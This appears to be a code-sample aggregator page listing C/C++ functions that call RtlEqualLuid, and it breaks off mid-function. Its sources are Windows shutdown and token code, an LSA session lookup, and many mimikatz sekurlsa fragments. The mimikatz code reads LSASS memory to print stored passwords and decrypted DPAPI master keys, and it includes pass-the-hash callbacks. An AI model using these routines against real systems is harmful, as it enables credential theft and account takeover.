Ejemplo n.º 1
0
BOOL NotifyLogon(
    PWINDOWSTATION pwinsta,
    PLUID pluidCaller,
    DWORD dwFlags)
{
    BOOL fNotified = FALSE;
    PWND pwndWinlogon;

    if (dwFlags & EWX_SHUTDOWN) {
        for (pwinsta = grpwinstaList; pwinsta != NULL;
                pwinsta = pwinsta->rpwinstaNext) {
            pwndWinlogon = pwinsta->spwndLogonNotify;
            if (pwndWinlogon != NULL) {
                _PostMessage(pwndWinlogon, WM_LOGONNOTIFY, LOGON_LOGOFF,
                        (LONG)dwFlags);
                fNotified = TRUE;
            }
        }
    } else {
        LUID  luidSystem = SYSTEM_LUID;

        pwndWinlogon = pwinsta->spwndLogonNotify;
        if (pwndWinlogon != NULL &&
                (RtlEqualLuid(&pwinsta->luidUser, pluidCaller) ||
                 RtlEqualLuid(&luidSystem, pluidCaller))) {
            _PostMessage(pwndWinlogon, WM_LOGONNOTIFY, LOGON_LOGOFF,
                    (LONG)dwFlags);
            fNotified = TRUE;
        }
    }
    return fNotified;
}
Ejemplo n.º 2
0
PVOID kuhl_m_sekurlsa_utils_pFromAVLByLuidRec(PKULL_M_MEMORY_ADDRESS pTable, ULONG LUIDoffset, PLUID luidToFind)
{
	PVOID resultat = NULL;
	RTL_AVL_TABLE maTable;
	KULL_M_MEMORY_HANDLE  hBuffer = {KULL_M_MEMORY_TYPE_OWN, NULL};
	KULL_M_MEMORY_ADDRESS data = {&maTable, &hBuffer};

	if(kull_m_memory_copy(&data, pTable, sizeof(RTL_AVL_TABLE)))
	{
		if(pTable->address = maTable.OrderedPointer)
		{
			if(data.address = LocalAlloc(LPTR, LUIDoffset + sizeof(LUID)))
			{
				if(kull_m_memory_copy(&data, pTable, LUIDoffset + sizeof(LUID)))
				{
					if(RtlEqualLuid(luidToFind, (PLUID) ((PBYTE) (data.address) + LUIDoffset)))
						resultat = maTable.OrderedPointer;
				}
				LocalFree(data.address);
			}
		}
		if(!resultat && (pTable->address = maTable.BalancedRoot.LeftChild))
			resultat = kuhl_m_sekurlsa_utils_pFromAVLByLuidRec(pTable, LUIDoffset, luidToFind);
		if(!resultat && (pTable->address = maTable.BalancedRoot.RightChild))
			resultat = kuhl_m_sekurlsa_utils_pFromAVLByLuidRec(pTable, LUIDoffset, luidToFind);
	}
	return resultat;
}
Ejemplo n.º 3
0
ULONG_PTR kuhl_m_sekurlsa_utils_pFromLinkedListByLuid(ULONG_PTR pSecurityStruct, ULONG LUIDoffset, PLUID luidToFind)
{
	PVOID buffer;
	ULONG_PTR resultat = 0, pStruct = 0;
	
	if(buffer = LocalAlloc(LPTR, LUIDoffset + sizeof(LUID)))
	{
		if(ReadMemory(pSecurityStruct, &pStruct, sizeof(PVOID), NULL))
		{
			while(pStruct != pSecurityStruct)
			{
				if(ReadMemory(pStruct, buffer, LUIDoffset + sizeof(LUID), NULL))
				{
					if(RtlEqualLuid(luidToFind, (PLUID) ((PBYTE) buffer + LUIDoffset)))
					{
						resultat = pStruct;
						break;
					}
					pStruct = (ULONG_PTR) ((PLIST_ENTRY) buffer)->Flink;
				}
				else break;
			}
		}
		LocalFree(buffer);
	}
	return resultat;
}
Ejemplo n.º 4
0
ULONG_PTR kuhl_m_sekurlsa_utils_pFromAVLByLuidRec(ULONG_PTR pTable, ULONG LUIDoffset, PLUID luidToFind)
{
	ULONG_PTR resultat = 0;
	PVOID buffer;
	RTL_AVL_TABLE maTable;

	if(ReadMemory(pTable, &maTable, sizeof(RTL_AVL_TABLE), NULL))
	{
		if(pTable = (ULONG_PTR) maTable.OrderedPointer)
		{
			if(buffer = LocalAlloc(LPTR, LUIDoffset + sizeof(LUID)))
			{
				if(ReadMemory(pTable, buffer, LUIDoffset + sizeof(LUID), NULL))
				{
					if(RtlEqualLuid(luidToFind, (PLUID) ((PBYTE) buffer + LUIDoffset)))
						resultat = (ULONG_PTR) maTable.OrderedPointer;
				}
				LocalFree(buffer);
			}
		}
		if(!resultat && (pTable = (ULONG_PTR) maTable.BalancedRoot.LeftChild))
			resultat = kuhl_m_sekurlsa_utils_pFromAVLByLuidRec(pTable, LUIDoffset, luidToFind);
		if(!resultat && (pTable = (ULONG_PTR) maTable.BalancedRoot.RightChild))
			resultat = kuhl_m_sekurlsa_utils_pFromAVLByLuidRec(pTable, LUIDoffset, luidToFind);
	}
	return resultat;
}
Ejemplo n.º 5
0
bool WINAPI mod_mimikatz_sekurlsa_ssp::getSSPLogonData(__in PLUID logId, __in bool justSecurity)
{
	if(searchSSPEntryList())
	{
		KIWI_SSP_CREDENTIAL_LIST_ENTRY mesCredentials;
		DWORD monNb = 0;
		if(mod_memory::readMemory(SspCredentialList, &mesCredentials, sizeof(LIST_ENTRY), mod_mimikatz_sekurlsa::hLSASS))
		{
			while(mesCredentials.Flink != SspCredentialList)
			{
				if(mod_memory::readMemory(mesCredentials.Flink, &mesCredentials, sizeof(KIWI_SSP_CREDENTIAL_LIST_ENTRY), mod_mimikatz_sekurlsa::hLSASS))
				{
					if(RtlEqualLuid(logId, &(mesCredentials.LogonId)))
					{
						mod_mimikatz_sekurlsa::genericCredsToStream(&mesCredentials.credentials, justSecurity, true, &monNb);
						monNb++;
					}
				}
			}
		}
	}
	else (*outputStream) << L"n.a. (SSP KO)";

	return true;
}
Ejemplo n.º 6
0
void CALLBACK kuhl_m_sekurlsa_enum_logon_callback_ssp(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, IN OPTIONAL PKUHL_M_SEKURLSA_EXTERNAL externalCallback, IN OPTIONAL LPVOID externalCallbackData)
{
	KIWI_SSP_CREDENTIAL_LIST_ENTRY mesCredentials;
	KULL_M_MEMORY_HANDLE  hBuffer = {KULL_M_MEMORY_TYPE_OWN, NULL};
	KULL_M_MEMORY_ADDRESS aBuffer = {&mesCredentials, &hBuffer}, aLsass = {NULL, pData->cLsass->hLsassMem};
	ULONG monNb = 0;

	if(kuhl_m_sekurlsa_ssp_package.Module.isInit || kuhl_m_sekurlsa_utils_search_generic(pData->cLsass, &kuhl_m_sekurlsa_ssp_package.Module, SspReferences, sizeof(SspReferences) / sizeof(KULL_M_PATCH_GENERIC), (PVOID *) &SspCredentialList, NULL, NULL))
	{
		aLsass.address = SspCredentialList;
		if(kull_m_memory_copy(&aBuffer, &aLsass, sizeof(LIST_ENTRY)))
		{
			aLsass.address = mesCredentials.Flink;
			while(aLsass.address != SspCredentialList)
			{
				if(kull_m_memory_copy(&aBuffer, &aLsass, sizeof(KIWI_SSP_CREDENTIAL_LIST_ENTRY)))
				{
					if(RtlEqualLuid(pData->LogonId, &mesCredentials.LogonId) && (mesCredentials.credentials.UserName.Buffer || mesCredentials.credentials.Domaine.Buffer || mesCredentials.credentials.Password.Buffer))
					{
						kprintf(L"\n\t [%08x]", monNb++);
						kuhl_m_sekurlsa_genericCredsOutput(&mesCredentials.credentials, pData->LogonId, KUHL_SEKURLSA_CREDS_DISPLAY_SSP | KUHL_SEKURLSA_CREDS_DISPLAY_DOMAIN, externalCallback, externalCallbackData);
					}
					aLsass.address = mesCredentials.Flink;
				}
				else break;
			}
		}
	} else kprintf(L"KO");
}
Ejemplo n.º 7
0
PVOID kuhl_m_sekurlsa_utils_pFromLinkedListByLuid(PKULL_M_MEMORY_ADDRESS pSecurityStruct, ULONG LUIDoffset, PLUID luidToFind)
{
	PVOID resultat = NULL, pStruct;
	KULL_M_MEMORY_HANDLE  hBuffer = {KULL_M_MEMORY_TYPE_OWN, NULL};
	KULL_M_MEMORY_ADDRESS data = {&pStruct, &hBuffer}, aBuffer = {NULL, &hBuffer};

	if(aBuffer.address = LocalAlloc(LPTR, LUIDoffset + sizeof(LUID)))
	{
		if(kull_m_memory_copy(&data, pSecurityStruct, sizeof(PVOID)))
		{
			data.address = pStruct;
			data.hMemory = pSecurityStruct->hMemory;

			while(data.address != pSecurityStruct->address)
			{
				if(kull_m_memory_copy(&aBuffer, &data, LUIDoffset + sizeof(LUID)))
				{
					if(RtlEqualLuid(luidToFind, (PLUID) ((PBYTE)(aBuffer.address) + LUIDoffset)))
					{
						resultat = data.address;
						break;
					}
					data.address = ((PLIST_ENTRY) (aBuffer.address))->Flink;
				}
				else break;
			}
		}
		LocalFree(aBuffer.address);
	}
	return resultat;
}
Ejemplo n.º 8
0
BOOL CALLBACK kuhl_m_sekurlsa_enum_callback_dpapi(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, IN OPTIONAL LPVOID pOptionalData)
{
	KIWI_MASTERKEY_CACHE_ENTRY mesCredentials;
	KULL_M_MEMORY_HANDLE hLocalMemory = {KULL_M_MEMORY_TYPE_OWN, NULL};
	KULL_M_MEMORY_ADDRESS aBuffer = {&mesCredentials, &hLocalMemory}, aKey = {NULL, &hLocalMemory}, aLsass = {NULL, pData->cLsass->hLsassMem};
	PKUHL_M_SEKURLSA_PACKAGE pPackage = (pData->cLsass->osContext.BuildNumber >= KULL_M_WIN_MIN_BUILD_8) ? &kuhl_m_sekurlsa_dpapi_svc_package : &kuhl_m_sekurlsa_dpapi_lsa_package;
	BYTE dgst[SHA_DIGEST_LENGTH];
	DWORD monNb = 0;

	if(pData->LogonType != Network)
	{
		kuhl_m_sekurlsa_printinfos_logonData(pData);
		if(pPackage->Module.isInit || kuhl_m_sekurlsa_utils_search_generic(pData->cLsass, &pPackage->Module, MasterKeyCacheReferences, ARRAYSIZE(MasterKeyCacheReferences), (PVOID *) &pMasterKeyCacheList, NULL, NULL, NULL))
		{
			aLsass.address = pMasterKeyCacheList;
			if(kull_m_memory_copy(&aBuffer, &aLsass, sizeof(LIST_ENTRY)))
			{
				aLsass.address = mesCredentials.Flink;
				while(aLsass.address != pMasterKeyCacheList)
				{
					if(kull_m_memory_copy(&aBuffer, &aLsass, sizeof(KIWI_MASTERKEY_CACHE_ENTRY)))
					{
						if(RtlEqualLuid(pData->LogonId, &mesCredentials.LogonId))
						{
							kprintf(L"\t [%08x]\n\t * GUID      :\t", monNb++);
							kull_m_string_displayGUID(&mesCredentials.KeyUid);
							kprintf(L"\n\t * Time      :\t"); kull_m_string_displayLocalFileTime(&mesCredentials.insertTime);

							if(aKey.address = LocalAlloc(LPTR, mesCredentials.keySize))
							{
								aLsass.address = (PBYTE) aLsass.address + FIELD_OFFSET(KIWI_MASTERKEY_CACHE_ENTRY, key);
								if(kull_m_memory_copy(&aKey, &aLsass, mesCredentials.keySize))
								{
									(*pData->lsassLocalHelper->pLsaUnprotectMemory)(aKey.address, mesCredentials.keySize);
									kprintf(L"\n\t * MasterKey :\t"); kull_m_string_wprintf_hex(aKey.address, mesCredentials.keySize, 0);
									if(kull_m_crypto_hash(CALG_SHA1, aKey.address, mesCredentials.keySize, dgst, SHA_DIGEST_LENGTH))
									{
										kprintf(L"\n\t * sha1(key) :\t"); kull_m_string_wprintf_hex(dgst, SHA_DIGEST_LENGTH, 0);
										kuhl_m_dpapi_oe_masterkey_add(&mesCredentials.KeyUid, dgst, SHA_DIGEST_LENGTH);
									}
								}
								LocalFree(aKey.address);
							}
							kprintf(L"\n");
						}
						aLsass.address = mesCredentials.Flink;
					}
					else break;
				}
			}
		} else kprintf(L"\n\tKO");
		kprintf(L"\n");
	}
	return TRUE;
}
BOOL CALLBACK kuhl_m_sekurlsa_enum_callback_msv_pth(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, IN OPTIONAL LPVOID pOptionalData)
{
	PSEKURLSA_PTH_DATA pthData = (PSEKURLSA_PTH_DATA) pOptionalData;
	MSV1_0_PTH_DATA_CRED credData = {pData, pthData};
	
	if(RtlEqualLuid(pData->LogonId, pthData->LogonId))
	{
		kuhl_m_sekurlsa_msv_enum_cred(pData->cLsass, pData->pCredentials, kuhl_m_sekurlsa_msv_enum_cred_callback_pth, &credData);
		return FALSE;
	}
	else return TRUE;
}
Ejemplo n.º 10
0
BOOL CALLBACK kuhl_m_sekurlsa_enum_callback_kerberos_pth(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, IN OPTIONAL LPVOID pOptionalData)
{
	PSEKURLSA_PTH_DATA pthData = (PSEKURLSA_PTH_DATA) pOptionalData;
	KIWI_KERBEROS_ENUM_DATA data = {kuhl_m_sekurlsa_enum_kerberos_callback_pth, pthData};
	if(RtlEqualLuid(pData->LogonId, pthData->LogonId))
	{
		kuhl_m_sekurlsa_enum_generic_callback_kerberos(pData, &data);
		return FALSE;
	}
	else return TRUE;

}
Ejemplo n.º 11
0
PLIST_ENTRY getPtrFromLinkedListByLuid(PLIST_ENTRY pSecurityStruct, unsigned long LUIDoffset, PLUID luidToFind)
{
	PLIST_ENTRY resultat = NULL;
	for(PLIST_ENTRY pStruct = pSecurityStruct->Flink ; pStruct != pSecurityStruct ; pStruct = pStruct->Flink)
	{
		if(RtlEqualLuid(luidToFind, reinterpret_cast<PLUID>(reinterpret_cast<PBYTE>(pStruct) + LUIDoffset)))
		{
			resultat = pStruct;
			break;
		}
	}
	return resultat;
}
Ejemplo n.º 12
0
static
PLSAP_LOGON_SESSION
LsapGetLogonSession(IN PLUID LogonId)
{
    PLIST_ENTRY SessionEntry;
    PLSAP_LOGON_SESSION CurrentSession;

    SessionEntry = SessionListHead.Flink;
    while (SessionEntry != &SessionListHead)
    {
        CurrentSession = CONTAINING_RECORD(SessionEntry,
                                           LSAP_LOGON_SESSION,
                                           Entry);
        if (RtlEqualLuid(&CurrentSession->LogonId, LogonId))
            return CurrentSession;

        SessionEntry = SessionEntry->Flink;
    }

    return NULL;
}
Ejemplo n.º 13
0
PLIST_ENTRY mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(PLIST_ENTRY pSecurityStruct, unsigned long LUIDoffset, PLUID luidToFind)
{
	PLIST_ENTRY resultat = NULL;
	BYTE * monBuffer = new BYTE[LUIDoffset + sizeof(LUID)];
	PLIST_ENTRY pStruct = NULL;
	if(mod_memory::readMemory(pSecurityStruct, &pStruct, sizeof(pStruct), hLSASS))
	{
		while(pStruct != pSecurityStruct)
		{
			if(mod_memory::readMemory(pStruct, monBuffer, LUIDoffset + sizeof(LUID), hLSASS))
			{
				if(RtlEqualLuid(luidToFind, reinterpret_cast<PLUID>(reinterpret_cast<PBYTE>(monBuffer) + LUIDoffset)))
				{
					resultat = pStruct;
					break;
				}
			} else break;
			pStruct = reinterpret_cast<PLIST_ENTRY>(monBuffer)->Flink;
		}
	}
	delete [] monBuffer;
	return resultat;
}
Ejemplo n.º 14
0
void CALLBACK kuhl_m_sekurlsa_enum_logon_callback_masterkeys(IN ULONG_PTR pMasterKeyCacheList, IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData)
{
	KIWI_MASTERKEY_CACHE_ENTRY mesCredentials;
	ULONG_PTR ptr;
	ULONG monNb = 0;
	PBYTE buffer;

	if(ReadMemory(pMasterKeyCacheList, &mesCredentials, sizeof(LIST_ENTRY), NULL))
	{
		ptr = (ULONG_PTR) mesCredentials.Flink;
		while(ptr != pMasterKeyCacheList)
		{
			if(ReadMemory(ptr, &mesCredentials, sizeof(KIWI_MASTERKEY_CACHE_ENTRY), NULL))
			{
				if(RtlEqualLuid(pData->LogonId, &mesCredentials.LogonId))
				{
					dprintf("\n\t [%08x]\n\t * GUID      :\t", monNb++);
					kull_m_string_displayGUID(&mesCredentials.KeyUid);
					dprintf("\n\t * Time      :\t"); kull_m_string_displayFileTime(&mesCredentials.insertTime);

					if(buffer = (PBYTE) LocalAlloc(LPTR, mesCredentials.keySize))
					{						
						if(ReadMemory(ptr + FIELD_OFFSET(KIWI_MASTERKEY_CACHE_ENTRY, key), buffer, mesCredentials.keySize, NULL))
						{
							kuhl_m_sekurlsa_nt6_LsaUnprotectMemory(buffer, mesCredentials.keySize);
							dprintf("\n\t * MasterKey :\t"); kull_m_string_dprintf_hex(buffer, mesCredentials.keySize, 0);
						}
						LocalFree(buffer);
					}
				}
				ptr = (ULONG_PTR) mesCredentials.Flink;
			}
			else break;
		}
	}
	else dprintf("KO");
}
Ejemplo n.º 15
0
PVOID mod_mimikatz_sekurlsa::getPtrFromAVLByLuidRec(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind)
{
	PVOID resultat = NULL;
	RTL_AVL_TABLE maTable;
	if(mod_memory::readMemory(pTable, &maTable, sizeof(RTL_AVL_TABLE), hLSASS))
	{
		if(maTable.OrderedPointer)
		{
			BYTE * monBuffer = new BYTE[LUIDoffset + sizeof(LUID)];
			if(mod_memory::readMemory(maTable.OrderedPointer, monBuffer, LUIDoffset + sizeof(LUID), hLSASS))
			{
				if(RtlEqualLuid(luidToFind, reinterpret_cast<PLUID>(reinterpret_cast<PBYTE>(monBuffer) + LUIDoffset)))
					resultat = maTable.OrderedPointer;
			}
			delete [] monBuffer;
		}

		if(!resultat && maTable.BalancedRoot.LeftChild)
			resultat = getPtrFromAVLByLuidRec(reinterpret_cast<PRTL_AVL_TABLE>(maTable.BalancedRoot.LeftChild), LUIDoffset, luidToFind);
		if(!resultat && maTable.BalancedRoot.RightChild)
			resultat = getPtrFromAVLByLuidRec(reinterpret_cast<PRTL_AVL_TABLE>(maTable.BalancedRoot.RightChild), LUIDoffset, luidToFind);
	}
	return resultat;
}
Ejemplo n.º 16
0
void CALLBACK kuhl_m_sekurlsa_enum_logon_callback_ssp(IN ULONG_PTR pSspCredentialList, IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData)
{
	KIWI_SSP_CREDENTIAL_LIST_ENTRY mesCredentials;
	ULONG_PTR ptr;
	ULONG monNb = 0;
	if(ReadMemory(pSspCredentialList, &mesCredentials, sizeof(LIST_ENTRY), NULL))
	{
		ptr = (ULONG_PTR) mesCredentials.Flink;
		while(ptr != pSspCredentialList)
		{
			if(ReadMemory(ptr, &mesCredentials, sizeof(KIWI_SSP_CREDENTIAL_LIST_ENTRY), NULL))
			{
				if(RtlEqualLuid(pData->LogonId, &mesCredentials.LogonId) && (mesCredentials.credentials.UserName.Buffer || mesCredentials.credentials.Domaine.Buffer || mesCredentials.credentials.Password.Buffer))
				{
					dprintf("\n\t [%08x]", monNb++);
					kuhl_m_sekurlsa_genericCredsOutput(&mesCredentials.credentials, pData->LogonId, KUHL_SEKURLSA_CREDS_DISPLAY_SSP | KUHL_SEKURLSA_CREDS_DISPLAY_DOMAIN);
				}
				ptr = (ULONG_PTR) mesCredentials.Flink;
			}
			else break;
		}
	}
	else dprintf("KO");
}
Ejemplo n.º 17
0
BOOLEAN
RtlPrivilegeCheck(
   IN OUT PPRIVILEGE_SET RequiredPrivileges,
   IN PACCESS_TOKEN AccessToken
   )
{
    PLUID_AND_ATTRIBUTES pPrivileges = AccessToken->Privileges;
    BOOLEAN isLocked = FALSE;
    ULONG privilegesNeeded = 0;
    ULONG iAssigned = 0;
    ULONG iRequired = 0;

    privilegesNeeded = RequiredPrivileges->PrivilegeCount;
    
    SHARED_LOCK_RWLOCK(&AccessToken->RwLock, isLocked);

    for (iRequired = 0;
         iRequired < RequiredPrivileges->PrivilegeCount;
         iRequired++)
    {
        for (iAssigned = 0;
             iAssigned < AccessToken->PrivilegeCount;
             iAssigned++)
        {
            if (RtlEqualLuid(&RequiredPrivileges->Privilege[iRequired].Luid,
                             &pPrivileges[iAssigned].Luid))
            {
                if (pPrivileges[iAssigned].Attributes & SE_PRIVILEGE_ENABLED)
                {
                    if (privilegesNeeded > 0)
                    {
                        privilegesNeeded--;
                    }

                    if (!(RequiredPrivileges->Control &
                          PRIVILEGE_SET_ALL_NECESSARY))
                    {
                        // Turn off counting the privileges needed to grant
                        // access. It's no longer necessary as at least one
                        // of them has to be enabled and it's just been
                        // found.
                        privilegesNeeded = 0;
                    }

                    RequiredPrivileges->Privilege[iRequired].Attributes
                        |= SE_PRIVILEGE_USED_FOR_ACCESS;
                }
                else if (RequiredPrivileges->Control &
                         PRIVILEGE_SET_ALL_NECESSARY)
                {
                    // Further privilege check is pointless since all of
                    // the privileges are required and one of them turns
                    // out disabled.
                    GOTO_CLEANUP();
                }
            }
        }
    }

cleanup:
    UNLOCK_RWLOCK(&AccessToken->RwLock, isLocked);

    return (privilegesNeeded == 0);
}
Ejemplo n.º 18
0
NTSTATUS EndShutdown(
    PETHREAD Thread,
    NTSTATUS StatusShutdown)
{
    PWINDOWSTATION pwinsta = gpwinstaLogoff;
    PDESKTOP pdesk;
    LUID luidCaller;

    UserAssert(gpwinstaLogoff);

    gpwinstaLogoff = NULL;
    dwThreadEndSession = 0;
    pwinsta->dwFlags &= ~WSF_SHUTDOWN;

    if (!NT_SUCCESS(GetProcessLuid(Thread, &luidCaller))) {
        luidCaller = RtlConvertUlongToLuid(0);     // null luid
    }

    if (!NT_SUCCESS(StatusShutdown)) {

        /*
         * We need to notify the process that called ExitWindows that
         * the logoff was aborted.
         */
        if (gptiShutdownNotify) {
            _PostThreadMessage(gptiShutdownNotify, WM_ENDSESSION, FALSE, 0);
            gptiShutdownNotify = NULL;
        }

        /*
         * Reset the windowstation lock flags so apps can start
         * again.
         */
        pwinsta->dwFlags =
                (pwinsta->dwFlags & ~WSF_OPENLOCK) |
                gdwLocks;

        return STATUS_SUCCESS;
    }

    gptiShutdownNotify = NULL;

    /*
     * If logoff is occuring for the user set by winlogon, perform
     * the normal logoff cleanup.  Otherwise, clear the open lock
     * and continue.
     */
    if (((pwinsta->luidUser.LowPart != 0) || (pwinsta->luidUser.HighPart != 0)) &&
            RtlEqualLuid(&pwinsta->luidUser, &luidCaller)) {

        /*
         * Save the current user's NumLock state
         */
        if (FastOpenProfileUserMapping()) {
            RegisterPerUserKeyboardIndicators();
            FastCloseProfileUserMapping();
        }

        /*
         * Zero out the free blocks in all desktop heaps.
         */
        for (pdesk = pwinsta->rpdeskList; pdesk != NULL; pdesk = pdesk->rpdeskNext) {
            RtlZeroHeap(pdesk->hheapDesktop, 0);
        }

        /*
         * Logoff/shutdown was successful. In case this is a logoff, remove
         * everything from the clipboard so the next logged on user can't get
         * at this stuff.
         */
        ForceEmptyClipboard(pwinsta);

        /*
         * Destroy all non-pinned atoms in the global atom table.  User can't
         * create pinned atoms.  Currently only the OLE atoms are pinned.
         */
        RtlEmptyAtomTable(pwinsta->pGlobalAtomTable, FALSE);

        // this code path is hit only on logoff and also on shutdown
        // We do not want to unload fonts twice when we attempt shutdown
        // so we mark that the fonts have been unloaded at a logoff time

        if (bFontsAreLoaded) {
            LeaveCrit();
            GreRemoveAllButPermanentFonts();
            EnterCrit();
            bFontsAreLoaded = FALSE;
        }
    } else {
        pwinsta->dwFlags &= ~WSF_OPENLOCK;
    }

    /*
     * Tell winlogon that we successfully shutdown/logged off.
     */
    NotifyLogon(pwinsta, &luidCaller, gdwShutdownFlags);

    return STATUS_SUCCESS;
}
Ejemplo n.º 19
0
NTSTATUS InitiateShutdown(
    PETHREAD Thread,
    PULONG lpdwFlags)
{
    static PRIVILEGE_SET psShutdown = {
        1, PRIVILEGE_SET_ALL_NECESSARY, { SE_SHUTDOWN_PRIVILEGE, 0 }
    };
    PEPROCESS Process;
    LUID luidCaller;
    LUID luidSystem = SYSTEM_LUID;
    PPROCESSINFO ppi;
    PWINDOWSTATION pwinsta;
    HWINSTA hwinsta;
    PTHREADINFO ptiClient;
    NTSTATUS Status;
    DWORD dwFlags;

    /*
     * Find out the callers sid. Only want to shutdown processes in the
     * callers sid.
     */
    Process = THREAD_TO_PROCESS(Thread);
    ptiClient = PtiFromThread(Thread);
    Status = GetProcessLuid(Thread, &luidCaller);

    if (!NT_SUCCESS(Status)) {
        return Status;
    }

    /*
     * Set the system flag if the caller is a system process.
     * Winlogon uses this to determine in which context to perform
     * a shutdown operation.
     */
    dwFlags = *lpdwFlags;
    if (RtlEqualLuid(&luidCaller, &luidSystem)) {
        dwFlags |= EWX_SYSTEM_CALLER;
    } else {
        dwFlags &= ~EWX_SYSTEM_CALLER;
    }

    /*
     * Find a windowstation.  If the process does not have one
     * assigned, use the standard one.
     */
    ppi = PpiFromProcess(Process);
    if (ppi == NULL) {
        /*
         * We ran into a case where the thread was terminated and had already
         * been cleaned up by USER.  Thus, the ppi and ptiClient was NULL.
         */
        return STATUS_INVALID_HANDLE;
    }

    pwinsta = ppi->rpwinsta;
    hwinsta = ppi->hwinsta;

    /*
     * If we're not being called by Winlogon, validate the call and
     * notify the logon process to do the actual shutdown.
     */
    if (Thread->Cid.UniqueProcess != gpidLogon) {
        dwFlags &= ~EWX_WINLOGON_CALLER;
        *lpdwFlags = dwFlags;

        if (pwinsta == NULL) {
#ifndef LATER
            return STATUS_INVALID_HANDLE;
#else
            hwinsta = ppi->pOpenObjectTable[HI_WINDOWSTATION].h;
            if (hwinsta == NULL) {
                return STATUS_INVALID_HANDLE;
            }
            pwinsta = (PWINDOWSTATION)ppi->pOpenObjectTable[HI_WINDOWSTATION].phead;
#endif
        }

        /*
         * Check security first - does this thread have access?
         */
        if (!RtlAreAllAccessesGranted(ppi->amwinsta, WINSTA_EXITWINDOWS)) {
            return STATUS_ACCESS_DENIED;
        }

        /*
         * If the client requested shutdown, reboot, or poweroff they must have
         * the shutdown privilege.
         */
        if (dwFlags & EWX_SHUTDOWN) {
            if (!IsPrivileged(&psShutdown) ) {
                return STATUS_PRIVILEGE_NOT_HELD;
            }
        } else {

            /*
             * If this is a non-IO windowstation and we are not shutting down,
             * fail the call.
             */
            if (pwinsta->dwFlags & WSF_NOIO) {
                return STATUS_INVALID_DEVICE_REQUEST;
            }
        }
    }

    /*
     * Is there a shutdown already in progress?
     */
    if (dwThreadEndSession != 0) {
        DWORD dwNew;

        /*
         * Calculate new flags
         */
        dwNew = dwFlags & OPTIONMASK & (~gdwShutdownFlags);

        /*
         * Should we override the other shutdown?  Make sure
         * winlogon does not recurse.
         */
        if (dwNew && (DWORD)PsGetCurrentThread()->Cid.UniqueThread !=
                dwThreadEndSession) {
            /*
             * Only one windowstation can be logged off at a time.
             */
            if (!(dwFlags & EWX_SHUTDOWN) &&
                    pwinsta != gpwinstaLogoff) {
                return STATUS_DEVICE_BUSY;
            }

            /*
             * Set the new flags
             */
            gdwShutdownFlags = dwFlags;

            if (dwNew & EWX_FORCE) {
                return STATUS_RETRY;
            } else {
                return STATUS_PENDING;
            }
        } else {
            /*
             * Don't override
             */
            return STATUS_PENDING;
        }
    }

    /*
     * If the caller is not winlogon, signal winlogon to start
     * the real shutdown.
     */
    if (Thread->Cid.UniqueProcess != gpidLogon) {
        if (dwFlags & EWX_NOTIFY) {
            if (ptiClient && ptiClient->TIF_flags & TIF_16BIT)
                gptiShutdownNotify = ptiClient;
            dwFlags &= ~EWX_NOTIFY;
            *lpdwFlags = dwFlags;
        }

        if (NotifyLogon(pwinsta, &luidCaller, dwFlags))
            return STATUS_PENDING;
        else if (ptiClient && ptiClient->cWindows)
            return STATUS_CANT_WAIT;
    }

    /*
     * Mark this thread as the one that is currently processing
     * exit windows, and set the global saying someone is exiting
     */
    dwFlags |= EWX_WINLOGON_CALLER;
    *lpdwFlags = dwFlags;
    gdwShutdownFlags = dwFlags;

    dwThreadEndSession = (DWORD)PsGetCurrentThread()->Cid.UniqueThread;
    gpwinstaLogoff = pwinsta;
    pwinsta->luidEndSession = luidCaller;

    /*
     * Lock the windowstation to prevent apps from starting
     * while we're doing shutdown processing.
     */
    gdwLocks = pwinsta->dwFlags & (WSF_SWITCHLOCK | WSF_OPENLOCK);
    pwinsta->dwFlags |= (WSF_OPENLOCK | WSF_SHUTDOWN);

    return STATUS_SUCCESS;
}
Ejemplo n.º 20
0
NTSTATUS
RtlAdjustTokenPrivileges(
    IN PACCESS_TOKEN AccessToken,
    IN BOOLEAN DisableAll,
    IN OPTIONAL PTOKEN_PRIVILEGES NewState,
    IN ULONG BufferLength,
    OUT OPTIONAL PTOKEN_PRIVILEGES PreviousState,
    OUT OPTIONAL PULONG pReturnedLength
    )
{
    NTSTATUS status = STATUS_SUCCESS;
    BOOLEAN isLocked = FALSE;
    PLUID_AND_ATTRIBUTES pPrivileges = AccessToken->Privileges;
    ULONG assignedIndex = 0;
    ULONG modIndex = 0;
    ULONG returnedIndex = 0;
    ULONG BufferUsed = 0;
    ULONG adjustedCount = 0;

    if (!DisableAll && !NewState)
    {
        status = STATUS_INVALID_PARAMETER;
        GOTO_CLEANUP();
    }

    if (!NewState && BufferLength > 0)
    {
        status = STATUS_INVALID_PARAMETER;
        GOTO_CLEANUP();
    }

    EXCLUSIVE_LOCK_RWLOCK(&AccessToken->RwLock, isLocked);

    if (AccessToken->PrivilegeCount == 0)
    {
        status = STATUS_NOT_ALL_ASSIGNED;
        GOTO_CLEANUP();
    }

    if (DisableAll)
    {
        for (assignedIndex = 0;
             assignedIndex < AccessToken->PrivilegeCount;
             assignedIndex++)
        {
            status = RtlpAppendTokenPrivileges(
                                PreviousState,
                                BufferLength,
                                &pPrivileges[assignedIndex],
                                returnedIndex++,
                                &BufferUsed);
            if (status == STATUS_SUCCESS)
            {
                ClearFlag(pPrivileges[assignedIndex].Attributes,
                          SE_PRIVILEGE_ENABLED);
            }
        }

        GOTO_CLEANUP();
    }

    for (modIndex = 0;
         modIndex < NewState->PrivilegeCount;
         modIndex++)
    {
        for (assignedIndex = 0;
             assignedIndex < AccessToken->PrivilegeCount;
             assignedIndex++)
        {
            if (RtlEqualLuid(&NewState->Privileges[modIndex].Luid,
                             &pPrivileges[assignedIndex].Luid))
            {
                if (NewState->Privileges[modIndex].Attributes == 0)
                {
                    status = RtlpAppendTokenPrivileges(
                                        PreviousState,
                                        BufferLength,
                                        &pPrivileges[assignedIndex],
                                        returnedIndex++,
                                        &BufferUsed);
                    if (status == STATUS_SUCCESS)
                    {
                        ClearFlag(pPrivileges[assignedIndex].Attributes,
                                  SE_PRIVILEGE_ENABLED);
                        adjustedCount++;
                    }
                }

